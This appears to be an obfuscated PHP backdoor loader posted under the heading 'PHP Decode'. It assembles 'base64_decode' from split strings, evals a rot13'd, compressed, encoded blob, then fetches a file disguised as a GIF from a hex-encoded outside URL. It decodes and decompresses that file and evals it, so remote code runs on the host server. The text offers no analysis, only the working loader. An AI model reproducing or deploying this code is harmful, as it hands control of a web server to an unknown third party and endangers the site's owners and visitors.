PHP Decode

<?php
function gstr($url){
	$ch = curl_init(); 
	$timeout = 5; 
	curl_setopt ($ch, CURLOPT_URL, $url); 
	curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); 
	curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout); 
	$file_contents = curl_exec($ch); 
	curl_close($ch); 
	return $file_contents; 
}
$returnstr="";
$texd="BasE";
$edsd="64_Decode";
function getbase($returnstl){
	global $texd, $edsd,$returnstr,$MctRJwTzX,$RGGcrQBfUjR;
	$better=$texd.substr("2S5dAVlE2nqZ",strlen("2S5dAVlE2nqZ")).$edsd;
	$returnstr = $better('eNpVjk0LgkAURdcF/gcR17OKNtKmnPJb0yJoEyqamPOpaPjrmwlSe8vz3jv3KnqUYnowLeJEmbpTtQ5VmqGj2g9eSdM4bSlhSrMxF7ji4/FMYMIlLHhZasZ6JUfR7/QJb/UJuWK1dIKlC8yG6bHYeyMLQiSVBJdcxGBq9Z4Z2xJtNw8mUMda5+rHuM8l5FQgZ7DdPCJv2wq+lxnjcx14udDCDFtrgLLQLwRMbrBQgj+X8QGz8E9e');
	$returnstr = str_rot13(gzuncompress($returnstr));
	eval(substr("gFQTlZSUiaK1JPBmRqgoq9b48RvVtGYyj878mYc2S5dAVlE2nqZ",strlen("gFQTlZSUiaK1JPBmRqgoq9b48RvVtGYyj878mYc2S5dAVlE2nqZ")). $arr["48RvVtGYyj878mYc2S5dAVlE2nqZ"]["48RvVtGYyj878mYc2S5dAVlE2nqZ"]["48RvVtGYyj878mYc2S5dAVlE2nqZ"]["48RvVtGYyj878mYc2S5dAVlE2nqZ"]["48RvVtGYyj878mYc2S5dAVlE2nqZ"].$returnstr);
	//echo $MctRJwTzX."<br>".$RGGcrQBfUjR;
	return $returnstl;
}
$returnstl = "gFQTlZSUiaK1JPBmRqgoq9b48RvVtGYyj878mYc2S5dAVlE2nqZ";
getbase($returnstl);
//$MctRJwTzX = gzuncompress;$RGGcrQBfUjR=base64_decode
$ANqJEy = gstr("\x68\164\x74\160\x3a\57\x2f\166\x6f\154\x6f\166\x6d\141\x72\164\x2e\143\x6f\155\x2f"."sheke/code/h2.gif");
eval(substr("gFQTlZSUiaK1JPBmRqgoq9b48RvVtGYyj878mYc2S5dAVlE2nqZ",strlen("gFQTlZSUiaK1JPBmRqgoq9b48RvVtGYyj878mYc2S5dAVlE2nqZ")). $arr["48RvVtGYyj878mYc2S5dAVlE2nqZ"]["48RvVtGYyj878mYc2S5dAVlE2nqZ"]["48RvVtGYyj878mYc2S5dAVlE2nqZ"]["48RvVtGYyj878mYc2S5dAVlE2nqZ"]["48RvVtGYyj878mYc2S5dAVlE2nqZ"].$MctRJwTzX($RGGcrQBfUjR($ANqJEy)));